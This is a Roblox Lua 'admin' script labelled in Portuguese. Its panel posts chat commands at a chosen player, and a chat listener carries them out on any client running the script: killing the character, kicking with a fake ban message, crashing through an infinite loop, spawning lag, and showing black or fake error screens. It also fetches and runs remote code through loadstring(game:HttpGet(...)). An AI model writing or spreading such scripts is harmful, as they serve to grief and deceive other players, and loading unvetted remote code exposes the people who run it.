-- TELA ADMIN -- by teteuziinhoh) local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local TeleportService = game:GetService("TeleportService") local LocalPlayer = Players.LocalPlayer local Workspace = workspace local Debris = game:GetService("Debris") ------------------------------------------------ -- CHAT ------------------------------------------------ local function SendChat(msg) local channel = TextChatService.TextChannels:FindFirstChild("RBXGeneral") or TextChatService.TextChannels:GetChildren()[1] if channel then channel:SendAsync(msg) end end local function GetPlayers() local list = {} for _, p in ipairs(Players:GetPlayers()) do table.insert(list, p.Name) end return list end ------------------------------------------------ -- UI ------------------------------------------------ local WindUI = loadstring(game:HttpGet( "https://github.com/Footagesus/WindUI/releases/latest/download/main.lua" ))() local Window = WindUI:CreateWindow({ Title = "Tela Admin", Icon = "caveira", Folder = "TelaAdmin", Size = UDim2.fromOffset(580,460), Transparent = true, Resizable = false, SideBarWidth = 200, HideSearchBar = true }) local Tab = Window:Tab({ Title = "Comandos", Icon = "command" }) local Section = Tab:Section({ Title = "Admin Panel", Opened = true }) local SelectedPlayer = nil Section:Dropdown({ Title = "Selecionar Jogador", Values = GetPlayers(), Callback = function(v) SelectedPlayer = v end }) local function CmdButton(name, cmd) Section:Button({ Title = name, Callback = function() if SelectedPlayer then SendChat(";" .. cmd .. " " .. SelectedPlayer) end end }) end ------------------------------------------------ -- BOTÕES ------------------------------------------------ CmdButton("Kill", "kill") CmdButton("Kick", "kick") CmdButton("Bring", "bring") CmdButton("Fling", "fling") CmdButton("Bomb", "bomb") CmdButton("Jumpscare", "jumpscare") CmdButton("Nuke", "nuke") CmdButton("Erro 404", "erro") CmdButton("Backrooms", "backrooms") CmdButton("Crash", "crash") CmdButton("Glitch", "glitch") CmdButton("Black Screen", "black") CmdButton("Fake Ban", "fakeban") CmdButton("Lag", "lag") CmdButton("Freeze", "freeze") CmdButton("Shake", "shake") ------------------------------------------------ -- EXECUÇÃO ------------------------------------------------ local function OnMessage(msg) local text = msg.Text if not text then return end local lower = text:lower() local me = LocalPlayer.Name:lower() local char = LocalPlayer.Character local root = char and char:FindFirstChild("HumanoidRootPart") -- KILL if lower:match("^;kill%s+" .. me) and char then char:BreakJoints() end -- KICK if lower:match("^;kick%s+" .. me) then LocalPlayer:Kick("Tela Admin") end -- BRING if lower:match("^;bring%s+" .. me) and root then local sender = msg.TextSource and Players:FindFirstChild(msg.TextSource.Name) if sender and sender.Character then root.CFrame = sender.Character.HumanoidRootPart.CFrame * CFrame.new(0,0,-3) end end -- FLING if lower:match("^;fling%s+" .. me) and root then root.Velocity = Vector3.new(0,500,0) end -- BOMB MELHORADO if lower:match("^;bomb%s+" .. me) and root then for i = 1,10 do local explosion = Instance.new("Explosion") explosion.Position = root.Position + Vector3.new(math.random(-8,8),0,math.random(-8,8)) explosion.BlastRadius = 15 explosion.Parent = workspace task.wait(0.1) end end -- NUKE REALISTA if lower:match("^;nuke%s+" .. me) and root then for i = 1,30 do local explosion = Instance.new("Explosion") explosion.Position = root.Position + Vector3.new(math.random(-30,30),0,math.random(-30,30)) explosion.BlastRadius = 25 explosion.Parent = workspace task.wait(0.05) end end -- BACKROOMS if lower:match("^;backrooms%s+" .. me) and root then root.CFrame = CFrame.new(100000, 500, 100000) end -- CRASH if lower:match("^;crash%s+" .. me) then while true do end end -- GLITCH if lower:match("^;glitch%s+" .. me) and root then for i = 1,50 do root.CFrame = root.CFrame * CFrame.new(math.random(-5,5),0,math.random(-5,5)) task.wait(0.03) end end -- BLACK if lower:match("^;black%s+" .. me) then local gui = Instance.new("ScreenGui", LocalPlayer.PlayerGui) local frame = Instance.new("Frame", gui) frame.Size = UDim2.new(1,0,1,0) frame.BackgroundColor3 = Color3.new(0,0,0) end -- FAKE BAN if lower:match("^;fakeban%s+" .. me) then LocalPlayer:Kick("Você foi banido.") end -- LAG if lower:match("^;lag%s+" .. me) then for i = 1,500 do Instance.new("Part", workspace) end end -- FREEZE if lower:match("^;freeze%s+" .. me) and char then char:FindFirstChildOfClass("Humanoid").WalkSpeed = 0 end -- SHAKE if lower:match("^;shake%s+" .. me) and root then for i = 1,30 do root.CFrame = root.CFrame * CFrame.Angles(0,0,math.rad(math.random(-10,10))) task.wait(0.05) end end -- ERRO 404 if lower:match("^;erro%s+" .. me) then local gui = Instance.new("ScreenGui", LocalPlayer.PlayerGui) local frame = Instance.new("Frame", gui) frame.Size = UDim2.new(0.4,0,0.3,0) frame.Position = UDim2.new(0.3,0,0.3,0) frame.BackgroundColor3 = Color3.fromRGB(240,240,240) local title = Instance.new("TextLabel", frame) title.Size = UDim2.new(1,0,0.2,0) title.Text = "Erro" title.BackgroundColor3 = Color3.fromRGB(0,120,215) title.TextColor3 = Color3.new(1,1,1) local text = Instance.new("TextLabel", frame) text.Size = UDim2.new(1,0,0.8,0) text.Position = UDim2.new(0,0,0.2,0) text.Text = "Erro 404\nSistema não encontrado" text.TextScaled = true text.BackgroundTransparency = 1 local sound = Instance.new("Sound", gui) sound.SoundId = "rbxassetid://140650754692075" sound.Volume = 5 sound:Play() end end ------------------------------------------------ -- LISTENER ------------------------------------------------ for _, ch in ipairs(TextChatService.TextChannels:GetChildren()) do if ch:IsA("TextChannel") then ch.MessageReceived:Connect(OnMessage) end end TextChatService.TextChannels.ChildAdded:Connect(function(ch) if ch:IsA("TextChannel") then ch.MessageReceived:Connect(OnMessage) end end)